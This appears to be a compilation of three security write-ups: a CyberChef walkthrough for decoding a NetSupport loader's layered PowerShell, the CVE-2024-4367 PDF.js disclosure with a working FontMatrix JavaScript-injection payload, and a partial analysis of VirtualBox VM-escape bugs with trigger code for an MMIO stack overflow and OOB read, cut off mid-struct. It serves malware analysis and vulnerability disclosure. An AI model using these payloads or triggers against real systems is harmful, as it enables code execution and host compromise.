For example, align the Key, Mode, and IV. Then, plug these values into CyberChef.

Eventually, you can effectively automate this using Regular Expressions and Registers, as previously shown.

Configuration Extractor Walkthrough (22 Operations)

Utilising all of these techniques, we can develop a configuration extractor for a NetSupport Loader with 3 separate scripts that can all be decoded within the same recipe. 

This requires a total of 22 operations which will be demonstrated below.

The initial script is obfuscated using a large array of decimal integers. 

For each of these decimal values, the number 787 is subtracted and then the result is used as an ASCII charcode.

To decode this component, we must

  • Use a Register to extract the subtraction value
  • Use a Regular Expression to extract the decimal array
  • Use Forking to Separate each of the decimal values
  • Use a regular expression to append the 787 value stored in our register. 
  • Apply a Subtract operation to produce ASCII char codes
  • Apply a «From Decimal» to produce the 2nd stage
  • Use a Merge operation to enable analysis of the 2nd stage script. 

Operation 1 — Extracting Subtraction Value

The initial subtraction value can be extracted with a register operation and regular expression. 

This must be done prior to additional analysis and decoding to ensure that the subtraction value is stored inside of a register.

Operation 2 — Extracting the Decimal Array

The second step is to extract out the main decimal array using a regular expression and a capture group. 

The capture group ensures that we are isolating the decimal values and ignoring any script content surrounding it. 

This regex looks for decimals or commas 

[\d,]
 of length 1000 or more 
{1000,}
. That are surrounded by round brackets 
\(
 and 
\)

The inner brackets without escapes form the capture group.

Operation 3 — Separating the Decimal Values

The third operation leverages a Fork to separate the decimal values and act on each of them independently. 

The Fork defines a delimiter at the commas present in the original code, and specifies a Merge Delimiter of 

\n
 to improve readability.

Operation 4 — Appending the Subtraction Value

The fourth operation uses a regex find/replace to append the 787 value to the end of each line created by the forking operation. 

Note that we have used 

(.*)
 to capture the original decimal value, and have then used 
$1
 to access it again. The 
$R0
 is used to access the register that can created in Operation 1.

Operation 5 — Subtracting the Values

We can now perform the subtraction operation after appending the 787 value in Operation 4. 

This produces the original ASCII char codes that form the second stage script. 

Note that we have specified a space delimiter, as this is what separates our decimal values from our subtraction values in operation 4.

Operation 6 — Decoding ASCII Code In CyberChef

We can now decode the ASCII codes using a «From Decimal» operation. 

This produces the original script. However, the values are separated via a newline due to our previous Fork operation.

Operation 7 — Merging the Result

We now want to act on the new script in it’s entirety, we do not want to act on each character independently. 

Hence, we will undo our forking operation by applying a Merge Operation and modifying the «Merge Delimiter» of our previous fork to an empty space.

Stage 2 — Powershell Script With AES Encryption (8 Operations)

After 7 operations, we have now uncovered a 2nd stage Powershell script that utilises AES Encryption to unravel an additional stage. 

The key points in this script that are needed for decrypting are highlighted below.

To Decode this stage, we must be able to

  • Use Registers to Extract the AES Key
  • Use Regex to extract the Base64 blob
  • Decode the Base64 blob
  • Use Registers to extract an Initialization Vector
  • Remove the IV from the output
  • Perform the AES Decryption, referencing our registers
  • Use Regex to Remove Trailing NullBytes
  • Perform a GZIP Decompression to unlock stage 3

CyberChef Operation 8 — Extracting an AES Key

We must now extract the AES Key and store it using a Register operation. 

We can do this by applying a Register and creating a regex for base64 characters that are exactly 44 characters in length and surrounded by single quotes. (We could also adjust this to be a range from 42 to 46)

We now have the AES key stored inside of the 

$R1
specifying register.

Operation 9 — Extracting the Base64 Blob

Now that we have the AES key, we can isolate the primary base64 blob that contains the next stage of the Malware. 

We can do this with a regular expression for Base64 text that is 100 or more characters in length. 

We’re also making sure to change the output format to «List Matches», as we only want the text that matches our regular expression.

Operation 10 — Decoding The Base64

This is a straightforward operation to decode the Base64 blob prior to the main AES Decryption.

Operation 11 — Extracting Initialization Vector

The first 16 bytes of the current data form the initialization vector for the AES decryption. 

We can extract this using another Register operation and specifying 

.{16}
 to grab the first 16 characters from the current blob of data.

We know that these bytes are the IV due to this code in the original script. 

Note how the first 16 bytes are taken after base64 decoding, and then this is set to the IV.

Operation 12 — Dropping the Initial 16 Bytes

The initial 16 bytes are ignored when the actual AES decryption process takes place. 

Hence, we need to remove them by using a 

drop bytes
 operation with a length of 
16
,.

We know this is the case because the script begins the decryption from an offset of 16 from the data.

This can be confirmed with the official documentation for TransformFinalBlock.

Operation 13 — AES Decryption

Now that the Key and IV for the AES Decryption have been extracted and stored in registers, we can go ahead and apply an AES Decrypt operation. 

Note how we can access our key and IV via the $R1 and $R2 registers that were previously created. We do not need to specify a key here.


Also note that we do need to specify base64 and utf8 for the key and IV, respectively, as these were their formats at the time when we extracted them

We can also note that ECB mode was chosen, as this is the mode specified in the script.

Operation 14 — Removing Trailing Null Bytes

The current data after AES Decryption is compressed using GZIP. 

However, Gunzip fails to execute due to some random null bytes that are present at the end of the data after AES Decryption.

Operation 14 involves removing these trailing null bytes using a Regular expression for «one or more null bytes \0+ at the end of the data $»

We will leave the «Replace» value empty as we want to remove the trailing null bytes.

Operation 15 — GZIP Decompression

We can now apply a Gunzip operation to perform the GZIP Decompression. 

This will reveal stage 3 of the malicious content, which is another Powershell script.

Note that we know Gzip was used as it is referenced in stage 2 after the AES Decryption process.

Stage 3 — Powershell Script (7 Operations)

We now have a stage 3 PowerShell script that leverages a very similar technique to stage 1. 

The obfuscated data is again stored in large decimal arrays, with the number 4274 subtracted from each value. 

Note that in this case, there are 4 total arrays of integers.

To Decode stage 3, we must perform the following actions

  • Use Registers to Extract The Subtraction Value
  • Use Regex to extract the decimal arrays
  • Use Forking to Separate the arrays
  • Use another Fork to Separate the individual decimal values
  • Use a find/replace to append the subtraction value
  • Perform the Subtraction
  • Restore the text from the resulting ASCII codes

Operation 16 — Extracting The Subtraction Value with Registers

Our first step of stage 3 is to extract the subtraction value and store it inside a register. 

We can do this by creating another register and implementing a regular expression to capture the value 

$SHY=4274
. We can specify a dollar sign, followed by characters, followed by equals, followed by integers, followed by a semicolon. 

Apply a capture group (round brackets) to the decimal component, as we want to store and use this later.

Operation 17 — Extracting and Isolating the Decimal Arrays

Now that we have the subtraction key, we can go ahead and use a regular expression to isolate the decimal arrays.

We have chosen a regex that looks for round brackets containing long sequences of integers and commas (at least 30). The inside of the brackets has been converted to a capture group by adding round brackets without escapes. 

We have also selected 

List Capture Groups
new line to list only the captured decimal values and commas.

Operation 18 — Separating the Arrays With Forking

We can now separate the decimal arrays by applying a fork operation. 

The current arrays are separated by a new line, so we can specify this as our split delimiter. 

In the interests of readability, we can specify our merge delimiter as a double newline. The double newline does nothing except make the output easier to read.

Operation 19 — Separating the Decimal Values With another Fork

Now that we’ve isolated the arrays, we need to isolate the individual integer values so that we can append the subtraction value. 

We can do this with another Fork operation, specifying a comma delimiter (as this is what separates our decimal values) and a merge delimiter of newline. Again, this new line does nothing but improve readability.

Operation 20 — Appending Subtraction Values

With the decimal values isolated, we can use a previous technique to capture each line and append the subtraction key currently stored in 

$R3

We can see the subtraction key appended to each line containing a decimal value.

Operation 21 — Applying the Subtraction Operation

We can now apply a subtract operation to subtract the value appended in the previous step. 

This restores the original ASCII char codes so we can decode them in the next step.

Operation 22 — Decoding the ASCII Codes

With the ASCII codes restored in their original decimal form, we can apply a from decimal operation to restore the original text. 

We can see the 

Net.Webclient
 string, albeit it is spaced out over newlines due to our forking operation.

Final Result — Extracting Malicious URLs

Now that the content is decoded, we can remove the readability step we added in Operation 19. 

That is, we can remove the 

Merge Delimiter
 that was added to improve the readability of steps 20 and 21.

With the 

Merge Delimiter
 removed, The output of the four decimal arrays will now be displayed.

CVE-2024-4367 – Arbitrary JavaScript execution in PDF.js

CVE-2024-4367 – Arbitrary JavaScript execution in PDF.js

research by Thomas Rinsma

CVE-2024-4367 – Arbitrary JavaScript execution in PDF.js

TL;DR 

This post details CVE-2024-4367, a vulnerability in PDF.js found by Codean Labs. PDF.js is a JavaScript-based PDF viewer maintained by Mozilla. This bug allows an attacker to execute arbitrary JavaScript code as soon as a malicious PDF file is opened. This affects all Firefox users (<126) because PDF.js is used by Firefox to show PDF files, but also seriously impacts many web- and Electron-based applications that (indirectly) use PDF.js for preview functionality.

If you are a developer of a JavaScript/Typescript-based application that handles PDF files in any way, we recommend checking that you are not (indirectly) using a version a vulnerable version of PDF.js. See the end of this post for mitigation details.

Introduction 

There are two common use-cases for PDF.js. First, it is Firefox’s built-in PDF viewer. If you use Firefox and you’ve ever downloaded or browsed to a PDF file you’ll have seen it in action. Second, it is bundled into a Node module called 

pdfjs-dist
, with ~2.7 million weekly downloads according to NPM. In this form, websites can use it to provide embedded PDF preview functionality. This is used by everything from Git-hosting platforms to note-taking applications. The one you’re thinking of now is likely using PDF.js.

The PDF format is famously complex. With support for various media types, complicated font rendering and even rudimentary scripting, PDF readers are a common target for vulnerability researchers. With such a large amount of parsing logic, there are bound to be some mistakes, and PDF.js is no exception to this. What makes it unique however is that it is written in JavaScript as opposed to C or C++. This means that there is no opportunity for memory corruption problems, but as we will see it comes with its own set of risks.

Glyph rendering 

You might be surprised to hear that this bug is not related to the PDF format’s (JavaScript!) scripting functionality. Instead, it is an oversight in a specific part of the font rendering code.

Fonts in PDFs can come in several different formats, some of them more obscure than others (at least for us). For modern formats like TrueType, PDF.js defers mostly to the browser’s own font renderer. In other cases, it has to manually turn glyph (i.e., character) descriptions into curves on the page. To optimize this for performance, a path generator function is pre-compiled for every glyph. If supported, this is done by making a JavaScript 

Function
 object with a body (
jsBuf
) containing the instructions that make up the path:

// If we can, compile cmds into JS for MAXIMUM SPEED...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
  const jsBuf = [];
  for (const current of cmds) {
    const args = current.args !== undefined ? current.args.join(",") : "";
    jsBuf.push("c.", current.cmd, "(", args, ");\n");
  }
  // eslint-disable-next-line no-new-func
  console.log(jsBuf.join(""));
  return (this.compiledGlyphs[character] = new Function(
    "c",
    "size",
    jsBuf.join("")
  ));
}

From an attacker perspective this is really interesting: if we can somehow control these 

cmds
 going into the 
Function
 body and insert our own code, it would be executed as soon as such a glyph is rendered.

Well, let’s look at how this list of commands is generated. Following the logic back to the 

CompiledFont
 class we find the method 
compileGlyph(...)
. This method initializes the 
cmds
 array with a few general commands (
save
transform
scale
 and 
restore
), and defers to a 
compileGlyphImpl(...)
 method to fill in the actual 

compileGlyph(code, glyphId) {
    if (!code || code.length === 0 || code[0] === 14) {
      return NOOP;
    }

    let fontMatrix = this.fontMatrix;
    ...

    const cmds = [
      { cmd: "save" },
      { cmd: "transform", args: fontMatrix.slice() },
      { cmd: "scale", args: ["size", "-size"] },
    ];
    this.compileGlyphImpl(code, cmds, glyphId);

    cmds.push({ cmd: "restore" });

    return cmds;
  }

If we instrument the PDF.js code to log generated 

Function
 objects, we see that the generated code indeed contains those commands:

c.save();
c.transform(0.001,0,0,0.001,0,0);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();

At this point we could audit the font parsing code and the various commands and arguments that can be produced by glyphs, like 

quadraticCurveTo
 and 
bezierCurveTo
, but all of this seems pretty innocent with no ability to control anything other than numbers. What turns out to be much more interesting however is the 
transform
 command we saw above:

{ cmd: "transform", args: fontMatrix.slice() },

This 

fontMatrix
 array is copied (with 
.slice()
) and inserted into the body of the 
Function
 object, joined by commas. The code clearly assumes that it is a numeric array, but is that always the case? Any string inside this array would be inserted literally, without any quotes surrounding it. Hence, that would break the JavaScript syntax at best, and give arbitrary code execution at worst. But can we even control the contents of 
fontMatrix
 to that degree?

Enter the FontMatrix 

The value of 

fontMatrix
 defaults to 
[0.001, 0, 0, 0.001, 0, 0]
, but is often set to a custom matrix by a font itself, i.e., in its own embedded metadata. How this is done exactly differs per font format. Here’s the Type1parser for example:

extractFontHeader(properties) {
    let token;
    while ((token = this.getToken()) !== null) {
      if (token !== "/") {
        continue;
      }
      token = this.getToken();
      switch (token) {
        case "FontMatrix":
          const matrix = this.readNumberArray();
          properties.fontMatrix = matrix;
          break;
        ...
      }
      ...
    }
    ...
  }

This is not very interesting for us. Even though Type1 fonts technically contain arbitrary Postscript code in their header, no sane PDF reader supports this fully and most just try to read predefined key-value pairs with expected types. In this case, PDF.js just reads a number array when it encounters a 

FontMatrix
 key. It appears that the 
CFF
 parser — used for several other font formats — is similar in this regard. All in all, it looks like we are indeed limited to numbers.

However, it turns out that there is more than one potential origin of this matrix. Apparently, it is also possible to specify a custom 

FontMatrix
 value outside of a font, namely in a metadata object in the PDF! Looking carefully at the 
PartialEvaluator.translateFont(...)
 method, we see that it loads various attributes from PDF dictionaries associated with the font, one of them being the 
fontMatrix
:

const properties = {
      type,
      name: fontName.name,
      subtype,
      file: fontFile,
      ...
      fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
      ...
      bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
      ascent: descriptor.get("Ascent"),
      descent: descriptor.get("Descent"),
      xHeight: descriptor.get("XHeight") || 0,
      capHeight: descriptor.get("CapHeight") || 0,
      flags: descriptor.get("Flags"),
      italicAngle: descriptor.get("ItalicAngle") || 0,
      ...
    };

In the PDF format, font definitions consists of several objects. The 

Font
, its 
FontDescriptor
 and the actual 
FontFile
. For example, here represented by objects 1, 2 and 3:

1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
>>
endobj

2 0 obj
<<
  /Type /FontDescriptor
  /FontName /FooBarFont
  /FontFile 3 0 R
  /ItalicAngle 0
  /Flags 4
>>
endobj

3 0 obj
<<
  /Length 100
>>
... (actual binary font data) ...
endobj

The 

dict
 referenced by the code above refers to the 
Font
 object. Hence, we should be able to define a custom 
FontMatrix
 array like this:

1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
  /FontMatrix [1 2 3 4 5 6]   % <-----
>>
endobj

When attempting to do this it initially looks like this doesn’t work, as the 

transform
 operations in generated 
Function
 bodies still use the default matrix. However, this happens because the font file itself is overwriting the value. Luckily, when using a Type1 font without an internal 
FontMatrix
 definition, the PDF-specified value is authoritative as the 
fontMatrix
 value is not overwritten.

Now that we can control this array from a PDF object we have all the flexibility we want, as PDF supports more than just number-type primitives. Let’s try inserting a string-type value instead of a number (in PDF, strings are delimited by parentheses):

/FontMatrix [1 2 3 4 5 (foobar)]

And indeed, it is plainly inserted into the 

Function
 body!

c.save();
c.transform(1,2,3,4,5,foobar);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();

Exploitation and impact 

Inserting arbitrary JavaScript code is now only a matter of juggling the syntax properly. Here’s a classical example triggering an alert, by first closing the 

c.transform(...)
 function, and making use of the trailing parenthesis:

/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]

The result is exactly as expected:

Exploitation of CVE-2024-4367

You can find a proof-of-concept PDF file here. It is made to be easy to adapt using a regular text editor. To demonstrate the context in which the JavaScript is running, the alert will show you the value of 

window.origin
. Interestingly enough, this is not the 
file://
 path you see in the URL bar (if you’ve downloaded the file). Instead, PDF.js runs under the origin 
resource://pdf.js
. This prevents access to local files, but it is slightly more privileged in other aspects. For example, it is possible to invoke a file download (through a dialog), even to “download” arbitrary 
file://
 URLs. Additionally, the real path of the opened PDF file is stored in 
window.PDFViewerApplication.url
, allowing an attacker to spy on people opening a PDF file, learning not just when they open the file and what they’re doing with it, but also where the file is located on their machine.

In applications that embed PDF.js, the impact is potentially even worse. If no mitigations are in place (see below), this essentially gives an attacker an XSS primitive on the domain which includes the PDF viewer. Depending on the application this can lead to data leaks, malicious actions being performed in the name of a victim, or even a full account take-over. On Electron apps that do not properly sandbox JavaScript code, this vulnerability even leads to native code execution (!). We found this to be the case for at least one popular Electron app.

Mitigation 

At Codean Labs we realize it is difficult to keep track of dependencies like this and their associated risks. It is our pleasure to take this burden from you. We perform application security assessments in an efficient, thorough and human manner, allowing you to focus on development. Click here to learn more.

The best mitigation against this vulnerability is to update PDF.js to version 4.2.67 or higher. Most wrapper libraries like 

react-pdf
 have also released patched versions. Because some higher level PDF-related libraries statically embed PDF.js, we recommend recursively checking your 
node_modules
 folder for files called 
pdf.js
to be sure. Headless use-cases of PDF.js (e.g., on the server-side to obtain statistics and data from PDFs) seem not to be affected, but we didn’t thoroughly test this. It is also advised to update.

Additionally, a simple workaround is to set the PDF.js setting 

isEvalSupported
 to 
false
. This will disable the vulnerable code-path. If you have a strict content-security policy (disabling the use of 
eval
 and the 
Function
constructor), the vulnerability is also not reachable.

Timeline 

  • 2024-04-26 – vulnerability disclosed to Mozilla
  • 2024-04-29 – PDF.js v4.2.67 released to NPM, fixing the issue
  • 2024-05-14 – Firefox 126, Firefox ESR 115.11 and Thunderbird 115.11 released including the fixed version of PDF.js
  • 2024-05-20 – publication of this blogpost

Analysis of VirtualBox CVE-2023-21987 and CVE-2023-21991

Analysis of VirtualBox CVE-2023-21987 and CVE-2023-21991

Original text by qriousec

Introduction

Hi, I am Trung (xikhud). Last month, I joined Qrious Secure team as a new member, and my first target was to find and reproduce the security bugs that @bienpnn used at the Pwn2Own Vancouver 2023 to escape the VirtualBox VM.

Since VirtualBox is an open-source software, I can just download the source code from their homepage. The version of VirtualBox at the time of the Pwn2Own competition was 7.0.6.

Exploring VirtualBox

Building VirtualBox

The very first thing I did is to build the VirtualBox and to have a debugging environment. VirtualBox’s developers have published a very detail guide to build it. My setup is below:

  • Host: Windows 10
  • Guest: Windows 10. VirtualBox will be built on this machine.
  • Guest 2 (the guest inside the VirtualBox VM): LUbuntu 18.04.3

If you are new to VirtualBox exploitation, you may wonder why I need to install a nested VM. The reason is that VirtualBox contains both kernel mode and user mode components, so I have to install it inside a VM to debug its kernel things.

The official building guide offers using VS2010 or VS2019 to build VirtualBox, but you have to use VS2019 to build the version 7.0.6.

You can use any other operating system for Guest 2. I choose LUbuntu because it is lightweight. (I have a potato computer lol).

Learning VirtualBox source code

VirtualBox source code is large, I can’t just read all of them in a short amount of time. Instead, I find blog posts about pwning VirtualBox on Google and read them. These posts not only show how to exploit VirtualBox but also describe how VirtualBox works, its architecture and stuff like that. These are the very good write-ups that I also recommend you to read if you want to start learning VirtualBox exploitation:

The VirtualBox architecture is as follow (the picture is taken from Chen Nan’s slide at HITB2021)

The simple rule I learned is that when the guest wants to emulate a device, it send a request to the host’s kernel drivers (R0) first. The host’s kernel have two choices:

  • It can handle that request
  • Or it can return 
    VINF_XXX_R3_YYYY_ZZZZ
    . This value means that it doesn’t want to handle the request and the request will be handled by the host’s user mode components (R3).

The source code for R0 and R3 is usually in the same file, the only different thing is the preprocessors.

  • #define IN_RING3
     corresponds to R3 components
  • #define IN_RING0
     corresponds to R0 components
  • #define IN_RC
    : I don’t know what this is, maybe someone knows can tell me …

For example, let’s look at the code in the 

DevTpm.cpp
 file:

In the image above, when the R0 component receives this request, it will pass to R3 component. The return code (

rc
) is 
VINF_IOM_R3_MMIO_WRITE
. According to the source code comment, it is “Reason for leaving RZ: MMIO write”. There are other similar values: 
VINF_IOM_R3_MMIO_READ
VINF_IOM_R3_IOPORT_WRITE
VINF_IOM_R3_IOPORT_READ
, …

If you want to know more detail about VirtualBox architechture, I suggest you to read the slide by Chen Nan. You can also watch his video here.

After having a basic understanding about VirtualBox, the next thing I did is to find some attack vectors. Usually, with VirtualBox, the attack scenario will be an untrusted code running within the guest machine. It will communicate with the host to compromise it. There are two methods a guest OS can talk to the host:

  • Using memory mapped I/O
  • Using port I/O

These are usually the entry points of an attack, so I look at them first when auditing.

The memory mapped region can be created by these functions:

  • PDMDevHlpMmioCreateAndMap
  • PDMDevHlpMmioCreateExAndMap
  • ...

The IO port can be created by:

  • PDMDevHlpIoPortCreateFlagsAndMap
  • PDMDevHlpPCIIORegionCreateIo
  • PDMDevHlpPCIIORegionCreateMmio2Ex
  • ...

With memory mapped, we can use the 

mov
 or similar instructions to communicate with the host. Meanwhile, we use 
in
out
 instruction when we work with IO port.

Now I have more understanding about VirtualBox, I can start to look for bugs now. To reduce the time, @bienpnn gave me 2 hints:

  • The OOB write bug is in the TPM components
  • The OOB read bug is in the VGA components

Knowing that, I open the source code and read files in 

src/VBox/Devices/Security
 and 
src/VBox/Devices/Graphics
 folders.

The OOB write bug

At Pwn2Own, the TPM 2.0 is enabled. It is required to run Windows 11 inside VirtualBox. You will have to enable it manually in the VirtualBox GUI, if you don’t, then the exploit here won’t work.

The TPM module is initialized by the two functions 

tpmR3Construct
 (R3) and 
tpmRZConstruct
 (R0). Both functions register 
tpmMmioRead
 and 
tpmMmioWrite
 to handle read/write to memory mapped region.

    rc = PDMDevHlpMmioCreateAndMap(pDevIns, pThis->GCPhysMmio, TPM_MMIO_SIZE, tpmMmioWrite, tpmMmioRead,
                                   IOMMMIO_FLAGS_READ_PASSTHRU | IOMMMIO_FLAGS_WRITE_PASSTHRU,
                                   "TPM MMIO", &pThis->hMmio);

The memory region is at 
pThis->GCPhysMmio
, which is 
0xfed40000
 by default.
To confirm the communication works as expected, I put a (R0) breakpoint at 
VBoxDDR0!tpmMmioWrite
 and write a small C code to run inside the VirtualBox.
void *map_mmio(void *where, size_t length)
{
    int fd = open("/dev/mem", O_RDWR | O_SYNC);
    if (fd == -1) { /* error */ }
    void *addr = mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, (off_t)where);
    if (addr == NULL) { /* error */ }
    return addr;
}

int main()
{
    volatile uint8_t* mmio_tpm = (uint8_t *)map_mmio((void *)0xfed40000, 0x5000);
    mmio_tpm[0x200] = 0xFF;
    return 0;
}

The breakpoint hit! It works. This is the signature of the 

tpmMmioWrite
 function:

static DECLCALLBACK(VBOXSTRICTRC) tpmMmioWrite(PPDMDEVINS pDevIns, void *pvUser, RTGCPHYS off, void const *pv, unsigned cb);

At the time the breakpoint hit, 

off
 is 
0x200
 (which is the offset from the start of the memory mapped buffer), 
cb
 is the number of byte to read, in this case it is 
0x1
 since we only write 1 byte, 
pv
 is the host buffer contains the values supplied by the guest OS, in this case it contains 
0xFF
 only. If we want to write more bytes, we can write it in C like this:

*(uint32_t*)(mmio_tpm + 0x200) = 0xFFAABBCC;

In assembly form, it will be something like this:

mov dword ptr [rdx], 0xFFAABBCC 

In this case, 

cb
 will be 
0x4
.

The 

tpmMmioWrite
 function looks fine, after confirming the is no bug in it, I look at 
tpmMmioRead
.

static DECLCALLBACK(VBOXSTRICTRC) tpmMmioRead(PPDMDEVINS pDevIns, void *pvUser, RTGCPHYS off, void *pv, unsigned cb)
{
    /* truncated */
    uint64_t u64;
    /* truncated */
        rc = tpmMmioFifoRead(pDevIns, pThis, pLoc, bLoc, uReg, &u64, cb);
    /* truncated */
    return rc;
}

static VBOXSTRICTRC tpmMmioFifoRead(PPDMDEVINS pDevIns, PDEVTPM pThis, PDEVTPMLOCALITY pLoc,
                                    uint8_t bLoc, uint32_t uReg, uint64_t *pu64, size_t cb)
{
    /* ... */
    /* Special path for the data buffer. */
    if (   (   (   uReg >= TPM_FIFO_LOCALITY_REG_DATA_FIFO
               && uReg < TPM_FIFO_LOCALITY_REG_DATA_FIFO + sizeof(uint32_t))
            || (   uReg >= TPM_FIFO_LOCALITY_REG_XDATA_FIFO
                && uReg < TPM_FIFO_LOCALITY_REG_XDATA_FIFO + sizeof(uint32_t)))
        && bLoc == pThis->bLoc
        && pThis->enmState == DEVTPMSTATE_CMD_COMPLETION)
    {
        if (pThis->offCmdResp <= pThis->cbCmdResp - cb)
        {
            memcpy(pu64, &pThis->abCmdResp[pThis->offCmdResp], cb);
            pThis->offCmdResp += (uint32_t)cb;
        }
        else
            memset(pu64, 0xff, cb);
        return VINF_SUCCESS;
    }
}

You can see that there is a branch of code that does a 

memcpy
 into the 
u64
, which is a stack variable of 
tpmMmioRead
 function. To be able to reach this branch, 
uReg
bLoc
 and 
pThis->enmState
 must have appropriate values. But don’t worry because we can control all of them, we can also control 
pThis->offCmdResp
 and 
pThis->abCmdResp
. There is no check to make sure 
cb &lt;= sizeof(uint64_t)
, so maybe there is a stack buffer overflow here? Now I have to find a way to make 
cb
 larger than 
sizeof(uint64_t)
 (8). I google and found that some AVX-512 instructions can read up to 512 bits (64 bytes) memory. Since my CPU doesn’t support AVX-512, I try AVX2 instead:

__m256 z = _mm256_load_ps((const float*)off);

Indeed, it works! 

cb
 is now 
0x20
 and I can overwrite 0x18 bytes after 
u64
 variable. But the is a problem: 
u64
 is behind the return address of 
VBoxDDR0!tpmMmioRead
. Let’s look at the stack when RIP is at the very first instruction of 
VBoxDDR0!tpmMmioRead
:

2: kd> dq @rsp
ffffbb80`814920a8  fffff804`d2432993 ffff8901`0ecc0000
ffffbb80`814920b8  000fffff`fffff000 ffff8901`0edc6760
ffffbb80`814920c8  fffff804`d243418b 00000000`00000020
ffffbb80`814920d8  fffff804`d2458b1d ffffe289`26bf7000
ffffbb80`814920e8  00000000`00000020 ffff8901`0ede4000
ffffbb80`814920f8  00000000`00000080 ffff8901`0ecc0000
ffffbb80`81492108  fffff804`d243313f ffffe289`26b87188
ffffbb80`81492118  fffff804`d2451c8b 00000000`fed40080

Remember that the return address is at 

0xffffbb80814920a8
. Now let’s run until RIP is at 
call VBoxDDR0!tpmMmioFifoRead
:

2: kd> dq @rsp
ffffbb80`81492060  ffff8901`0ecc0000 00000000`00000000
ffffbb80`81492070  00000000`00000060 fffff804`d253ba1b
ffffbb80`81492080  00000000`00000080 ffffbb80`814920b0 <-- pu64
ffffbb80`81492090  00000000`00000020 00000000`00000018
ffffbb80`814920a0  ffff8901`0ede4140 fffff804`d2432993 <-- R.A
ffffbb80`814920b0  ffff8901`0ecc0000 ffffe289`26b87188
ffffbb80`814920c0  00000000`00000080 fffff804`d243418b
ffffbb80`814920d0  00000000`00000020 fffff804`d2458b1d

Based on the x64 Windows calling convention, the 5th argument is at 

[rsp+0x28]
, so the address of 
u64
 is 
0xffffbb80814920b0
, which is behind the return address (
0xffffbb80814920a8
). Why does this happen? I don’t really know, but I guess this is some kind of compiler optimization. Let’s check 
tpmMmioRead
 in IDA:

unsigned __int64 pu64; // [rsp+50h] [rbp+8h] BYREF

The assembly code:

.text:000000014002BA10 000   mov     [rsp+10h], rbx
.text:000000014002BA15 000   mov     [rsp+18h], rsi
.text:000000014002BA1A 000   push    rdi
.text:000000014002BA1B 008   sub     rsp, 40h
.text:000000014002BA1F 048   mov     rdx, [rcx+10h]  ; pThis

pu64
 is at 
[rsp+0x50]
, but the function only allocate 0x48 bytes for the stack. Clearly, 
pu64
 is outside of the stack frame range. So in which function stack frame does this variable belong to? Well, it is right next to the return address, so it is in the shadow space. Turned out that, the shadow space is used to make debugging easier. But we are using the “Release” build, so it will use the shadow space as if it is a normal space. We can overwrite 0x18 bytes after the 
u64
 variable. Unfortunately, there is no data after 
u64
 so we can’t do anything. I’m stuck now. Maybe if my CPU supports AVX-512, I can do something? Until now, @bienpnn told me that there is an instruction which can read up to 512 bytes. It is 
fxrstor
, which is used to restore x87 FPU, MMX, XMM, and MXCSR state. Knowing this, I tried this code:

_fxrstor64((void*)off);

And then, VirtualBox.exe crashed! That’s good. But wait, why does it crash without first hitting the breakpoint at 

VBoxDDR0!tpmMmioRead
? Turned out that all the request with 
cb >= 0x80
 will be handled by R3 code. This is the comment in 
src\VBox\VMM\VMMAll\IOMAllMmioNew.cpp
:

/*
 * If someone is doing FXSAVE, FXRSTOR, XSAVE, XRSTOR or other stuff dealing with
 * large amounts of data, just go to ring-3 where we don't need to deal with partial
 * successes.  No chance any of these will be problematic read-modify-write stuff.
 *
 * Also drop back if the ring-0 registration entry isn't actually used.
 */

Let’s trigger this bug again. But this time we will set a breakpoint at 

VBoxDD!tpmMmioRead
 instead. And now I can see a stack buffer overflow.

Really nice. Now we have RIP controlled, but don’t know where to jump. We need a leak.

The OOB read bug

The OOB read bug is inside 

VGA
 module. There are a lot of files belong to this module, but I choose to read 
DevVGA.cpp
 first, since the name looks like the main file of VGA module. I look at the 2 construction functions to see which IO port or memory mapped is used. I found that the 
vgaMmioRead
 will handle the MMIO request, it will then call 
vga_mem_readb
. And inside this function, I found the code below (we can control 
addr
):

pThis->latch = !pThis->svga.fEnabled            ? ((uint32_t *)pThisCC->pbVRam)[addr]
             : addr < VMSVGA_VGA_FB_BACKUP_SIZE ? ((uint32_t *)pThisCC->svga.pbVgaFrameBufferR3)[addr] : UINT32_MAX;

pThis->svga.fEnabled
 is 
true
 so we only care about this line:

addr < VMSVGA_VGA_FB_BACKUP_SIZE ? ((uint32_t *)pThisCC->svga.pbVgaFrameBufferR3)[addr] : UINT32_MAX;

VMSVGA_VGA_FB_BACKUP_SIZE
 is the size of 
pThisCC->svga.pbVgaFrameBufferR3
. Maybe you can see what’s wrong here.

((uint32_t *)pThisCC->svga.pbVgaFrameBufferR3)[addr]

*(uint32_t *)(pThisCC->svga.pbVgaFrameBufferR3 + sizeof(uint32_t) * addr)
// note that the type of pThisCC->svga.pbVgaFrameBufferR3 is uint8_t[]

he code checks if 

addr &lt; VMSVGA_VGA_FB_BACKUP_SIZE
, but actually uses 
4 * addr
 for indexing. It means that we have an OOB read here. Untill now, I thought that it will be easy because with a leak and a stack buffer overflow, I would easily do a ROP chain. But I regret soon when I see that the heap layout is not static, it changes everytime I open a new VirtualBox process. The reason for this is because VirtualBox is a very complex software, so heap allocations are made everywhere, which changes the shape of the heap.

Exploitation

Now I need a reliable way to have a leak. For this, I will use heap spraying technique. So my plan is to poison the heap with a lot of objects that I control, and (hopefully) some of the objects will be right behind the 

pbVgaFrameBufferR3
 buffer so that I can use the OOB read to leak information. sauercl0ud team had already written a nice blog post about exploiting VirtualBox. Inside the post, they sprayed the heap with 
HGCMMsgCall
 objects, I will just use 
HGCMMsgCall
 too, because why not 😀 ?

What is HGCM?

HGCM is an abbreviation for “Host/Guest Communication Manager”. This is the module used for communication between the host and the guest. For example, they need to talk to each other in order to implement the “Shared Clipboard”, “Shared Folder”, “Drag and drop” services.

Here’s how it works. The guest inside VirtualBox will have to install additional drivers, a.k.a the guest additions. When the guest wants to use one of the service above, it will send a message to the host through IO port, the message is represented by the 

HGCMMsgCall
 struct.

0:035> dt VBoxC!HGCMMsgCall
   +0x000 __VFN_table : Ptr64 
   +0x008 m_cRefs          : Int4B
